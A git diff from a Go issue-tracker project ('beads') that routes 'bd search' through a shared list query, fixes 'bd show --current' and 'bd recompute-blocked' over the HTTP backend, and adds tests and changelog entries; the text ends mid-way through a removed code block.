cmd/bd/search_routes_parity_test.go create mode 100644 cmd/bd/search_routes_proxied_test.go create mode 100644 cmd/bd/show_current.go create mode 100644 internal/httpclient/blocked_recomputer.go create mode 100644 internal/httpclient/list_search_test.go create mode 100644 internal/storage/blocked_recomputer.go create mode 100644 internal/storage/blocked_recomputer_test.go create mode 100644 issueops/current.go create mode 100644 issueops/current_test.go create mode 100644 issueops/search.go create mode 100644 issueops/search_test.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index 0ac8f3440..ed764b6b4 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -217,6 +217,7 @@ 100 71 TestEmbeddedCloseJSONReportsMoleculeAutoClose 100 71 TestEmbeddedInitRoleRoutingExplicitDefault 100 71 TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget +100 71 TestEmbeddedSearchRoutesAgree 100 72 TestEmbeddedContributorCreateMultiple 100 72 TestEmbeddedCreateWithGitRemote diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 714ee1098..a9daaa528 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -380,6 +380,7 @@ 40 24 TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape 40 24 TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction 40 24 TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566 +40 24 TestEmbeddedReaderListQueryMatchesTheTitleOrTheID 40 24 TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt 40 24 TestIgnoredCursorHealResumeRespectsOperatorOverride 40 24 TestLargeBatchApplyStatementCountsClassic40_Embedded diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index a752c2b07..33611719b 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -197,6 +197,7 @@ 34 23 TestProxiedServerIfRevisionGuardUpdate 34 23 TestProxiedServerListWatchCountsTheOffsetIntoMaxRows 34 23 TestProxiedServerMolBurn +34 23 TestProxiedServerSearchRoutesAgree 34 23 TestProxiedServerServeUpdate 34 23 TestProxiedServerUpdateConcurrentClaim 34 23 TestProxiedServerUpdateWisp diff --git a/.golangci.yml b/.golangci.yml index 238e8fabf..9e1cf64a3 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -467,7 +467,11 @@ linters: # tests: false` means forbidigo never analyzes a test file at all, so that # entry asserts nothing either way and scoping it would be the churn this # comment just refused to write. - - path: '^cmd/bd/(close|duplicates|find_duplicates|gate|gc|graph|info|label|orphans|purge|search|todo|wisp|human)(_proxied_server)?\.go$' + # + # `search` LEFT this list when all three of its routes moved onto + # issueops.Reader.List with issueops.SearchListRequest (cmd/bd/search.go); + # it builds no filter any more. + - path: '^cmd/bd/(close|duplicates|find_duplicates|gate|gc|graph|info|label|orphans|purge|todo|wisp|human)(_proxied_server)?\.go$' text: 'do not write a filter here' linters: - forbidigo diff --git a/CHANGELOG.md b/CHANGELOG.md index bc6841359..83a610fa8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -32,6 +32,20 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 description and metadata are unchanged, and omitting the flag (or passing `0`) is byte-identical to today's output. JSON output is untouched; `--include-comments` still streams every comment there. +- `GET /v0/beads/issues` accepts `q`, `bd search`'s free text, behind the + new `issues.list.search` capability token (additive; no wire_revision + bump). `issueops.ListRequest` gains `Query`, with `SearchIssues`' meaning + (title or id contains the text, case-insensitively), on every Reader + implementation, and `issueops.SearchListRequest` is search's scope as a + request. Every `bd search` route (direct, `--proxied-server` and the HTTP + backend) now asks `Reader.List` with it through one flag mapping; against + a server that does not advertise the token the HTTP client refuses before + dialing with a typed capability error. Two things a script can see follow + from that mapping: `bd search --type` expands aliases (`feat`, `mol`, + `dec`, ...) and validates the type as `bd list` does, so an unknown type + now exits 1 where it used to answer an empty result, and `bd search + --json` rows carry `comments_omitted` (additive) as `bd list --json` rows + do. - `bd create --graph` now plans its batch through `issueops.BatchApplier` instead of the old `buildDomainGraphPlan` path, so a graph create gets the same atomic multi-row semantics as `bd batch apply`. A `waits-for` edge's @@ -494,6 +508,29 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 rollout) still stores P0, with no error on either side. Out-of-tree storage backends must now honor `DefaultPriority`; see the BREAKING (out-of-tree storage backends) entry under `### Changed`. + +- `bd show --current` over the HTTP backend no longer prints the wrong issue. + Its in-progress/hooked lookup used the raw `SearchIssues` method, which + the HTTP backend refuses; the refusal was swallowed and the command fell + back to the last-touched issue, exit 0. The lookup now reads through the + `issueops.Querier` role, and a failed read is an error on every route + (including `--proxied-server`), never a fallback. A miss (nothing in + progress or hooked, or no actor) is another matter: `--proxied-server` now + falls back to the last-touched issue as the direct route always has, where + it used to fail with `no current issue found`. +- `bd list --type --include-ephemeral` (and `GET + /v0/beads/issues` with the same parameters) now include that type's durable + rows — a promoted wisp, an issue retyped after it was created — beside its + wisps, as `--include-ephemeral` promises; the type used to narrow the read + to its wisps alone. `bd count --include-infra --include-ephemeral` and the + count endpoint count the same rows. An infra `--type` without + `--include-ephemeral` still reads only the wisps, and `bd search --type + `, now served by the same listing, still finds that type's + wisps and durable rows alike. +- `bd recompute-blocked` on a workspace connected to `bd serve` is a no-op + that exits 0 instead of refusing: the server maintains `is_blocked` on + every write and the column lives in its database. `--json` reports + `{"rows_corrected": 0, "maintained_by": "server"}`. - **The http store's `GetIssue` answers a miss with `storage.ErrNotFound`, like the local stores.** It used to answer a missing (or empty) id with `(nil, nil)`, which every caller written against the backend contract diff --git a/README.md b/README.md index 6d6ef6cd7..058b949a7 100644 --- a/README.md +++ b/README.md @@ -251,6 +251,15 @@ credential would cross the network unencrypted) — pass `--allow-plaintext` to override, or use `https://`. Switching a workspace that already selects a different backend needs `--force`. +`bd search`, `bd show --current` and `bd recompute-blocked` work over HTTP +too, each in its own way. `bd search` asks the server's listing with its text (`q`, behind the `issues.list.search` capability) and +refuses before dialing against a server that does not advertise it. +`bd show --current` finds the actor's in-progress or hooked issue through the +server's boolean query. `bd recompute-blocked` is a no-op that exits 0: the +server maintains `is_blocked` on every write, and repairing a stale flag is +done in the server's own workspace (`--json` reports +`{"rows_corrected": 0, "maintained_by": "server"}`). + An embedding program that links beads as a library rather than running `cmd/bd` registers this backend itself through the public [`backend/http`](backend/http) package (`bdhttp.Register`), and can open a diff --git a/backend/conformance/reader_contract.go b/backend/conformance/reader_contract.go index 6910a5bbb..d19fea047 100644 --- a/backend/conformance/reader_contract.go +++ b/backend/conformance/reader_contract.go @@ -113,6 +113,10 @@ type ReaderFixture struct { AddDependency func(context.Context, *types.Dependency, string) error // AddComment puts one comment on a durable issue. AddComment func(ctx context.Context, issueID, author, text string) error + // PromoteWisp moves a seeded wisp into the durable plane, as `bd promote` + // does. It is the only way to seed a DURABLE row of an infra type: creating + // one routes it to the wisps plane on every backend. + PromoteWisp func(ctx context.Context, id, actor string) error } // RunReaderReadyDefaultTypeExclusionsYieldToAnExplicitType pins @@ -786,6 +790,112 @@ func RunReaderListReadyFlagRefusesAFilterItCannotCarry(t *testing.T, ctx context assertReaderPageIDs(t, "List --id without --ready", page, []string{one}) } +// RunReaderListQueryMatchesTheTitleOrTheID pins ListRequest.Query: `bd +// search`'s text, which matches a row whose title OR id contains it, case +// insensitively, and which narrows without lifting a default exclusion — and +// issueops.SearchListRequest, the request every `bd search` route sends, which +// does lift them. +// +// EVERY KIND OF ROW the search scope promises is seeded with the text, because +// a scope that silently loses one kind answers every other row correctly: a +// template, a gate, a wisp of an infra type, and a DURABLE row of that type — +// a promoted wisp, which a type filter that narrows an infra type to its +// ephemeral rows drops with no error. Each must come back under the bare scope +// and under its own type. +// +// It scopes itself with a label rather than an id set, so the served leg runs +// it as written: listIssues publishes no id parameter. +func RunReaderListQueryMatchesTheTitleOrTheID(t *testing.T, ctx context.Context, fixture ReaderFixture) { + t.Helper() + if fixture.PromoteWisp == nil { + t.Fatal("fixture has no PromoteWisp: a durable row of an infra type cannot be seeded, and it is the row a narrowed type filter drops") + } + scope := readerLabel(fixture, "lsquery") + needle := strings.ToLower(fixture.IssuePrefix) + "qneedle" + titleHit := readerID(fixture, "lsquery", "title") + idHit := readerID(fixture, "lsquery", "idhit") + closedHit := readerID(fixture, "lsquery", "closed") + miss := readerID(fixture, "lsquery", "miss") + template := readerID(fixture, "lsquery", "template") + gate := readerID(fixture, "lsquery", "gate") + wispMessage := readerID(fixture, "lsquery", "wispmsg") + promotedMessage := readerID(fixture, "lsquery", "promotedmsg") + + // The title carries the needle in UPPER case and the request asks in lower, + // so a case-sensitive match finds nothing. + titleIssue := readerIssue(titleHit, types.TypeTask, scope) + titleIssue.Title = "fix the " + strings.ToUpper(needle) + " path" + // The id-hit's title says nothing about it: only its id can match. + idIssue := readerIssue(idHit, types.TypeTask, scope) + idIssue.Title = "unrelated words" + closedIssue := readerIssue(closedHit, types.TypeTask, scope) + closedIssue.Title = "old " + needle + closedIssue.Status = types.StatusClosed + missIssue := readerIssue(miss, types.TypeTask, scope) + missIssue.Title = "nothing to see" + templateIssue := readerIssue(template, types.TypeTask, scope) + templateIssue.Title = needle + " template" + templateIssue.IsTemplate = true + gateIssue := readerIssue(gate, types.TypeGate, scope) + gateIssue.Title = needle + " gate" + for _, issue := range []*types.Issue{titleIssue, idIssue, closedIssue, missIssue, templateIssue, gateIssue} { + seedReaderIssue(t, ctx, fixture, issue) + } + // Two rows of the same infra type, one per plane. `message` is built in, + // so the type is valid on every backend without configuration. + for _, id := range []string{wispMessage, promotedMessage} { + message := readerIssue(id, types.TypeMessage, scope) + message.Title = needle + " message" + message.Ephemeral = true + seedReaderWisp(t, ctx, fixture, message) + } + if err := fixture.PromoteWisp(ctx, promotedMessage, "seed"); err != nil { + t.Fatalf("promote wisp %s: %v", promotedMessage, err) + } + + searchType := func(issueType types.IssueType) publicops.ListRequest { + req := searchScoped(needle, scope) + req.IssueType = string(issueType) + return req + } + + for _, tc := range []struct { + name string + req publicops.ListRequest + want []string + }{ + {"a title match, case-insensitively, under the default exclusions", publicops.ListRequest{Labels: []string{scope}, Query: needle}, []string{titleHit}}, + {"AllFlag takes the closed match back", publicops.ListRequest{Labels: []string{scope}, Query: needle, AllFlag: true}, []string{titleHit, closedHit}}, + {"an id match whose title does not contain the text", publicops.ListRequest{Labels: []string{scope}, Query: idHit, AllFlag: true}, []string{idHit}}, + {"text nothing contains", publicops.ListRequest{Labels: []string{scope}, Query: needle + "-absent", AllFlag: true}, nil}, + {"no text narrows nothing", publicops.ListRequest{Labels: []string{scope}}, []string{titleHit, idHit, miss}}, + {"SearchListRequest, `bd search`'s scope, takes every status and every kind of row back", searchScoped(needle, scope), []string{titleHit, closedHit, template, gate, wispMessage, promotedMessage}}, + {"SearchListRequest under an infra type keeps both planes' rows of it", searchType(types.TypeMessage), []string{wispMessage, promotedMessage}}, + {"SearchListRequest under the gate type", searchType(types.TypeGate), []string{gate}}, + {"SearchListRequest under a plain type keeps its templates", searchType(types.TypeTask), []string{titleHit, closedHit, template}}, + // Outside the search scope an infra type alone reads only its + // ephemeral rows, which is where creating one puts it; IncludeEphemeral + // is what lifts that narrowing to the durable rows as well. + {"an infra type alone reads only its ephemeral rows", publicops.ListRequest{Labels: []string{scope}, Query: needle, IssueType: string(types.TypeMessage)}, []string{wispMessage}}, + {"IncludeEphemeral lifts that narrowing", publicops.ListRequest{Labels: []string{scope}, Query: needle, IssueType: string(types.TypeMessage), IncludeEphemeral: true}, []string{wispMessage, promotedMessage}}, + } { + page, err := fixture.Reader.List(ctx, tc.req) + if err != nil { + t.Errorf("List %s: %v", tc.name, err) + continue + } + assertReaderPageIDSet(t, "List "+tc.name, page, tc.want) + } +} + +// searchScoped is the library's search request narrowed to one case's label, +// the request every `bd search` route sends. +func searchScoped(query, label string) publicops.ListRequest { + req := publicops.SearchListRequest(query) + req.Labels = []string{label} + return req +} + // RunReaderListEmptyPageIsWellFormed pins the page shape when nothing matches // (reader.go:376-381). Items is never nil for a successful call, so no caller // has to tell null from empty to learn that nothing matched, and an empty page diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 36c158477..3453eedaa 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -568,6 +568,7 @@ var roleContractCases = []roleContract{ RunReaderListKeysetPositionResumesTheCreatedDescIDAscOrder, RunReaderListReadyFlagAnswersTheBlockerAwareSet, RunReaderListReadyFlagRefusesAFilterItCannotCarry, + RunReaderListQueryMatchesTheTitleOrTheID, RunReaderListEmptyPageIsWellFormed, RunReaderListMaxRowsIsHonored, RunReaderListMaxRowsBoundaryIsLimitPlusOffset, diff --git a/backend/http/BUILD.bazel b/backend/http/BUILD.bazel index d8d4e273a..16ea2bf83 100644 --- a/backend/http/BUILD.bazel +++ b/backend/http/BUILD.bazel @@ -33,7 +33,10 @@ go_test( "attach_test.go", "e2e_cli_test.go", "e2e_mol_test.go", + "e2e_recompute_blocked_test.go", "e2e_remote_roles_test.go", + "e2e_search_test.go", + "e2e_show_current_test.go", "open_test.go", "per_open_credential_test.go", "register_test.go", diff --git a/backend/http/corpus/testdata/corpus.yaml b/backend/http/corpus/testdata/corpus.yaml index e7a74b0d7..ee970ef53 100644 --- a/backend/http/corpus/testdata/corpus.yaml +++ b/backend/http/corpus/testdata/corpus.yaml @@ -157,7 +157,6 @@ shapes: - id: gc-show-current source: gc cmd_bd_show_watch.go bdWatchRunner (show --current --json) args: [show, --current, --json] - pending: {slice: "S6e", reason: "NEW: resolveCurrentIssueID calls raw store.SearchIssues, the http refusal is swallowed, and it silently falls back to the last-touched issue (wrong issue, exit 0)"} - id: gc-show-missing source: gc BdStore.Get not-found classification (routing fallbacks) args: [show, --json, e2e-nonexistent] @@ -326,7 +325,7 @@ shapes: source: mc mol-bug-report-flow-v2 (bd search) args: [search, "Routed", --json] compare: ids - pending: {slice: "S24", reason: "NEW: bd search is refused over http ('partial-id search is not available over HTTP'); not in B3"} + pending: {slice: "S6c+SRV-1", reason: "S26 sends bd search as listIssues q behind issues.list.search, which the reference server does not advertise, so the client refuses before dialing; remove the mark when reference_server.json is upgraded"} - id: mc-status source: mc normalized_child_launch.py (bd status) args: [status, --json] @@ -412,7 +411,6 @@ shapes: source: gc bdstore_blocked_repair.go RecomputeBlocked args: [recompute-blocked, --json] compare: exit - pending: {slice: "S25", reason: "NEW: recompute-blocked refuses over http ('storage backend does not support is_blocked recompute'); gc BdStore.RecomputeBlocked issues it; not in B3"} - id: gc-backup-status source: gc checks_proxied_backup_coverage.go (backup status --json) args: [backup, status, --json] diff --git a/backend/http/e2e_recompute_blocked_test.go b/backend/http/e2e_recompute_blocked_test.go new file mode 100644 index 000000000..11d49b334 --- /dev/null +++ b/backend/http/e2e_recompute_blocked_test.go @@ -0,0 +1,46 @@ +//go:build cgo + +package bdhttp_test + +import ( + "encoding/json" + "strings" + "testing" +) + +// TestE2E_RecomputeBlockedOverHTTP is S25. On a remote backend +// `bd recompute-blocked` is a no-op that exits 0: the server maintains +// is_blocked on every write and the column lives in its database. --json still +// carries rows_corrected (gc parses it) and says the server maintains the flag. +func TestE2E_RecomputeBlockedOverHTTP(t *testing.T) { + bd := connectE2EWorkspace(t, "worker") + + // A blocked edge exists, so there is state the server derived; the client + // must not claim to have repaired or refused it. + blocked := createE2EIssue(t, bd, "blocked") + blocker := createE2EIssue(t, bd, "blocker") + mustRun(t, bd, "dep", "add", blocked, blocker, "--json") + + r := mustRun(t, bd, "recompute-blocked", "--json") + var body struct { + RowsCorrected *int `json:"rows_corrected"` + MaintainedBy string `json:"maintained_by"` + } + if err := json.Unmarshal([]byte(strings.TrimSpace(r.stdout)), &body); err != nil { + t.Fatalf("parse recompute-blocked --json: %v\n%s", err, r.stdout) + } + if body.RowsCorrected == nil || *body.RowsCorrected != 0 || body.MaintainedBy != "server" { + t.Fatalf("recompute-blocked --json = %s, want rows_corrected 0 and maintained_by server", r.stdout) + } + + text := mustRun(t, bd, "recompute-blocked") + if !strings.Contains(text.stdout, "maintained by the bd serve backend") { + t.Errorf("recompute-blocked text does not say the server maintains the flag: %s", text.stdout) + } + + // The ready set still reflects the edge: nothing was rewritten. + ready := jsonIDSet(t, mustRun(t, bd, "ready", "--json").stdout) + if ready[blocked] || !ready[blocker] { + t.Errorf("bd ready after recompute-blocked = %v, want %s ready and %s blocked", ready, blocker, blocked) + } +} diff --git a/backend/http/e2e_search_test.go b/backend/http/e2e_search_test.go new file mode 100644 index 000000000..b932fc71a --- /dev/null +++ b/backend/http/e2e_search_test.go @@ -0,0 +1,57 @@ +//go:build cgo + +package bdhttp_test + +import ( + "testing" +) + +// TestE2E_SearchOverHTTP is S26. `bd search` called the raw SearchIssues +// method, which the http backend refuses ("partial-id search is not available +// over HTTP"); it now asks Reader.List with the text in ListRequest.Query, +// which travels as listIssues' `q` behind issues.list.search. +func TestE2E_SearchOverHTTP(t *testing.T) { + bd := connectE2EWorkspace(t, "worker") + + routed := createE2EIssue(t, bd, "Routed pool work") + alsoRouted := createE2EIssue(t, bd, "re-routed later") + closedRouted := createE2EIssue(t, bd, "routed and done") + other := createE2EIssue(t, bd, "something else") + mustRun(t, bd, "close", closedRouted, "--json") + + // A refusal of the raw SearchIssuesWithCounts seam is the S26 regression + // itself, not a missing dependency: S6c (the externaldeps reader + // passthrough) is underneath, so nothing on this route reaches that seam. + r := bd("search", "ROUTED", "--json") + if r.code != 0 { + t.Fatalf("bd search failed (exit %d): stdout=%s stderr=%s", r.code, r.stdout, r.stderr) + } + got := jsonIDSet(t, r.stdout) + // Case-insensitive, every status (search includes closed by default). + for _, id := range []string{routed, alsoRouted, closedRouted} { + if !got[id] { + t.Errorf("bd search ROUTED missed %s: %s", id, r.stdout) + } + } + if got[other] { + t.Errorf("bd search ROUTED matched %s, whose title does not contain it: %s", other, r.stdout) + } + + // --status narrows, as on a local workspace. + open := jsonIDSet(t, mustRun(t, bd, "search", "routed", "--status", "open", "--json").stdout) + if open[closedRouted] || !open[routed] { + t.Errorf("bd search routed --status open = %v, want %s without %s", open, routed, closedRouted) + } + + // An id matches even when the title does not contain it. + byID := jsonIDSet(t, mustRun(t, bd, "search", other, "--json").stdout) + if !byID[other] { + t.Errorf("bd search %s did not match the issue by its id: %v", other, byID) + } + + // A flag listIssues publishes nothing for refuses rather than widening the + // search. + if r := bd("search", "routed", "--desc-contains", "pool", "--json"); r.code == 0 { + t.Errorf("bd search --desc-contains succeeded over http; the wire cannot carry it, so it must refuse: %s", r.stdout) + } +} diff --git a/backend/http/e2e_show_current_test.go b/backend/http/e2e_show_current_test.go new file mode 100644 index 000000000..207f42756 --- /dev/null +++ b/backend/http/e2e_show_current_test.go @@ -0,0 +1,88 @@ +//go:build cgo + +package bdhttp_test + +import ( + "strings" + "testing" +) + +// connectE2EWorkspace starts an in-process server and returns a workspace +// `bd connect`ed to it, plus a runner that drives the built binary there as +// the given actor. +func connectE2EWorkspace(t *testing.T, actor string) func(args ...string) bdResult { + t.Helper() + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + addr := startE2EServer(t) + workspace := t.TempDir() + env := []string{"BEADS_ACTOR=" + actor} + if r := runBD(t, bin, workspace, env, "connect", "http://"+addr, "--expect-project-id", e2eProjectID, "--json"); r.code != 0 { + t.Fatalf("bd connect failed (exit %d): stdout=%s stderr=%s", r.code, r.stdout, r.stderr) + } + return func(args ...string) bdResult { + t.Helper() + return runBD(t, bin, workspace, env, args...) + } +} + +func mustRun(t *testing.T, bd func(args ...string) bdResult, args ...string) bdResult { + t.Helper() + r := bd(args...) + if r.code != 0 { + t.Fatalf("bd %s failed (exit %d): stdout=%s stderr=%s", strings.Join(args, " "), r.code, r.stdout, r.stderr) + } + return r +} + +func createE2EIssue(t *testing.T, bd func(args ...string) bdResult, title string) string { + t.Helper() + id := firstJSONField(t, mustRun(t, bd, "create", title, "--json").stdout, "id") + if id == "" { + t.Fatalf("bd create %q --json produced no id", title) + } + return id +} + +// TestE2E_ShowCurrentOverHTTP is S6e. `bd show --current` used to read the +// actor's in-progress work through the raw SearchIssues method, which the http +// backend refuses; the refusal was swallowed and the command printed the +// LAST-TOUCHED issue instead, exit 0. It now reads through the Querier role +// (queryIssues), so the in-progress issue wins over a more recently touched +// one, and a hooked issue is found when nothing is in progress. +func TestE2E_ShowCurrentOverHTTP(t *testing.T) { + bd := connectE2EWorkspace(t, "worker") + + current := createE2EIssue(t, bd, "the work in progress") + hooked := createE2EIssue(t, bd, "hooked work") + touched := createE2EIssue(t, bd, "touched last") + + mustRun(t, bd, "update", current, "--status", "in_progress", "--assignee", "worker", "--json") + // Touch another issue AFTER claiming, so last-touched is not the current + // issue: the old swallowed refusal answered with exactly this one. + mustRun(t, bd, "update", touched, "--priority", "1", "--json") + + showCurrent := func() string { + t.Helper() + r := mustRun(t, bd, "show", "--current", "--json") + return firstJSONField(t, r.stdout, "id") + } + if got := showCurrent(); got != current { + t.Fatalf("bd show --current = %s, want the in-progress %s (last touched was %s)", got, current, touched) + } + + // Nothing in progress: the hooked issue assigned to the actor is current. + mustRun(t, bd, "update", current, "--status", "open", "--assignee", "", "--json") + mustRun(t, bd, "update", hooked, "--status", "hooked", "--assignee", "worker", "--json") + mustRun(t, bd, "update", touched, "--priority", "2", "--json") + if got := showCurrent(); got != hooked { + t.Fatalf("bd show --current = %s, want the hooked %s (last touched was %s)", got, hooked, touched) + } + + // Neither: last-touched is the answer, and only now. + mustRun(t, bd, "update", hooked, "--status", "open", "--assignee", "", "--json") + mustRun(t, bd, "update", touched, "--priority", "3", "--json") + if got := showCurrent(); got != touched { + t.Fatalf("bd show --current = %s, want the last-touched %s when nothing is in progress or hooked", got, touched) + } +} diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index bcf823bf2..9234892a4 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -314,13 +314,13 @@ go_library( "schema.go", "schema_skew.go", "search.go", - "search_proxied_server.go", "send_metrics.go", "serve.go", "setup.go", "ship.go", "show.go", "show_children.go", + "show_current.go", "show_display.go", "show_format.go", "show_proxied_server.go", @@ -1112,6 +1112,9 @@ go_test( "schema_test.go", "search_embedded_test.go", "search_proxied_integration_test.go", + "search_routes_embedded_test.go", + "search_routes_parity_test.go", + "search_routes_proxied_test.go", "search_test.go", "send_metrics_diagnostics_test.go", "serve_batch_close_proxied_integration_test.go", diff --git a/cmd/bd/list_show_filter_modes.go b/cmd/bd/list_show_filter_modes.go index ef67625f8..08c40f1ac 100644 --- a/cmd/bd/list_show_filter_modes.go +++ b/cmd/bd/list_show_filter_modes.go @@ -298,53 +298,3 @@ func gatherProxiedHierarchical(ctx context.Context, uw uow.UnitOfWork, parentID out = append(out, descendants...) return out, nil } - -type currentIssueSearcher interface { - SearchIssues(context.Context, string, types.IssueFilter) ([]*types.Issue, error) -} - -// resolveCurrentIssueID determines the current active issue for the agent. -// Priority: in-progress assigned to actor > hooked > last touched. -func resolveCurrentIssueID(ctx context.Context) string { - return resolveCurrentIssueIDFrom(ctx, store, getActorWithGit, GetLastTouchedID) -} - -func resolveCurrentIssueIDFrom(ctx context.Context, searcher currentIssueSearcher, currentActor func() string, fallback func() string) string { - if searcher == nil { - return fallback() - } - actor := currentActor() - if actor == "" { - return fallback() - } - - for _, status := range []types.Status{types.StatusInProgress, types.StatusHooked} { - status := status - filter := types.IssueFilter{ - Status: &status, - Assignee: &actor, - } - issues, err := searcher.SearchIssues(ctx, "", filter) - if err == nil && len(issues) > 0 { - return issues[0].ID - } - } - - return fallback() -} - -func resolveCurrentIssueIDProxied(ctx context.Context, uw uow.UnitOfWork) string { - currentActor := getActorWithGit() - if currentActor == "" { - return "" - } - for _, status := range []types.Status{types.StatusInProgress, types.StatusHooked} { - st := status - filter := types.IssueFilter{Status: &st, Assignee: ¤tActor} - page, err := uw.IssueUseCase().SearchIssues(ctx, "", filter) - if err == nil && len(page.Items) > 0 { - return page.Items[0].ID - } - } - return "" -} diff --git a/cmd/bd/recompute_blocked.go b/cmd/bd/recompute_blocked.go index 050495126..2d7fe6692 100644 --- a/cmd/bd/recompute_blocked.go +++ b/cmd/bd/recompute_blocked.go @@ -1,6 +1,7 @@ package main import ( + "errors" "fmt" "github.com/spf13/cobra" @@ -27,6 +28,11 @@ It is idempotent: on a consistent database it changes nothing. Works in every storage mode — embedded, server, and proxied-server (unlike 'bd doctor', which is server-mode only). +On a workspace connected to a bd serve backend ('bd connect') it is a no-op +that exits 0: the server maintains is_blocked on every write, and the column +lives in the server's database, so the repair is run there, by the server's +operator. --json then reports {"rows_corrected": 0, "maintained_by": "server"}. + Examples: bd recompute-blocked # Repair stale is_blocked flags bd recompute-blocked --json # Machine-parseable {"rows_corrected": N}`, @@ -48,15 +54,23 @@ Examples: return runRecomputeBlockedProxiedServer(ctx) } - recomputer, ok := storage.UnwrapStore(store).(storage.BlockedRecomputer) - if !ok { - return HandleError("storage backend does not support is_blocked recompute") - } - changed, err := recomputer.RecomputeAllBlocked(ctx) + // One library entry for every store (storage.RecomputeBlocked): a + // local store recomputes its own column; a remote backend (`bd + // connect`) answers that its server maintains the column, and + // recomputes nothing. The --proxied-server route above bypasses it on + // purpose; runRecomputeBlockedProxiedServer says why. + result, err := storage.RecomputeBlocked(ctx, store) if err != nil { + var unsup *storage.ErrUnsupported + if errors.As(err, &unsup) { + return HandleError("storage backend does not support is_blocked recompute") + } return HandleError("recompute is_blocked: %v", err) } - return renderRecomputeBlocked(changed) + if result.MaintainedBy == storage.BlockedMaintainedByServer { + return renderRecomputeBlockedServerMaintained() + } + return renderRecomputeBlocked(result.RowsCorrected) }, } @@ -76,6 +90,25 @@ func renderRecomputeBlocked(changed int) error { return nil } +// renderRecomputeBlockedServerMaintained renders a remote backend's answer +// (storage.BlockedMaintainedByServer): nothing was recomputed here, because +// the server derives the column and it lives in the server's database — see +// storage.RecomputeBlocked for why that is a no-op rather than a wire +// operation. +// +// It still answers rows_corrected (0) because callers parse it (gc's +// BdStore.RecomputeBlocked requires the member, and wh-bridge-sync reads the +// exit code), and it carries `maintained_by: "server"` so a caller that cares +// can tell "nothing was stale" from "nothing was checked here". +func renderRecomputeBlockedServerMaintained() error { + if jsonOutput { + return outputJSON(map[string]interface{}{"rows_corrected": 0, "maintained_by": storage.BlockedMaintainedByServer}) + } + fmt.Println("is_blocked is maintained by the bd serve backend on every write; nothing to recompute from this client.") + fmt.Println("To repair a stale flag on the server's database, run bd recompute-blocked in the server's workspace.") + return nil +} + func init() { rootCmd.AddCommand(recomputeBlockedCmd) } diff --git a/cmd/bd/search.go b/cmd/bd/search.go index 80dbe8ff7..f12a5b580 100644 --- a/cmd/bd/search.go +++ b/cmd/bd/search.go @@ -1,9 +1,11 @@ package main import ( + "errors" "fmt" "os" "strings" + "time" "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/metrics" @@ -12,6 +14,7 @@ import ( "github.com/steveyegge/beads/internal/utils" "github.com/steveyegge/beads/internal/validation" "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" ) var searchCmd = &cobra.Command{ @@ -49,273 +52,184 @@ Examples: c.CloseEventAndAdd(evt) } }() - - if usesProxiedServer() { - return runSearchProxiedServer(cmd, rootCtx, args) - } - - queryFlag, _ := cmd.Flags().GetString("query") - var query string - if len(args) > 0 { - query = strings.Join(args, " ") - } else if queryFlag != "" { - query = queryFlag - } - - if query == "" { - if err := cmd.Help(); err != nil { - fmt.Fprintf(os.Stderr, "Error displaying help: %v\n", err) - } - return HandleError("search query is required") - } - - // Get filter flags - status, _ := cmd.Flags().GetString("status") - assignee, _ := cmd.Flags().GetString("assignee") - issueType, _ := cmd.Flags().GetString("type") - limit, _ := cmd.Flags().GetInt("limit") - labels, _ := cmd.Flags().GetStringSlice("label") - labelsAny, _ := cmd.Flags().GetStringSlice("label-any") - longFormat, _ := cmd.Flags().GetBool("long") - sortBy, _ := cmd.Flags().GetString("sort") - reverse, _ := cmd.Flags().GetBool("reverse") - - // Date range flags - createdAfter, _ := cmd.Flags().GetString("created-after") - createdBefore, _ := cmd.Flags().GetString("created-before") - updatedAfter, _ := cmd.Flags().GetString("updated-after") - updatedBefore, _ := cmd.Flags().GetString("updated-before") - closedAfter, _ := cmd.Flags().GetString("closed-after") - closedBefore, _ := cmd.Flags().GetString("closed-before") - - // Priority range flags - priorityMinStr, _ := cmd.Flags().GetString("priority-min") - priorityMaxStr, _ := cmd.Flags().GetString("priority-max") - - // Pattern matching flags - descContains, _ := cmd.Flags().GetString("desc-contains") - notesContains, _ := cmd.Flags().GetString("notes-contains") - externalContains, _ := cmd.Flags().GetString("external-contains") - - // Empty/null check flags - emptyDesc, _ := cmd.Flags().GetBool("empty-description") - noAssignee, _ := cmd.Flags().GetBool("no-assignee") - noLabels, _ := cmd.Flags().GetBool("no-labels") - - // Normalize labels - labels = utils.NormalizeLabels(labels) - labelsAny = utils.NormalizeLabels(labelsAny) - - // Build filter - filter := types.IssueFilter{ - Limit: limit, - } - - if status != "" && status != "all" { - cfg, err := workapi.LoadStoreListConfig(rootCtx, store) - if err != nil { - return HandleError("loading status configuration: %v", err) - } - if err := workapi.ApplyStatusFilter(&filter, status, cfg.CustomStatusNames()); err != nil { - return HandleError("%v", err) - } - } - // Default (no --status) searches ALL statuses including closed - // (bd-t5yex): the dominant real-world query is "was this already - // 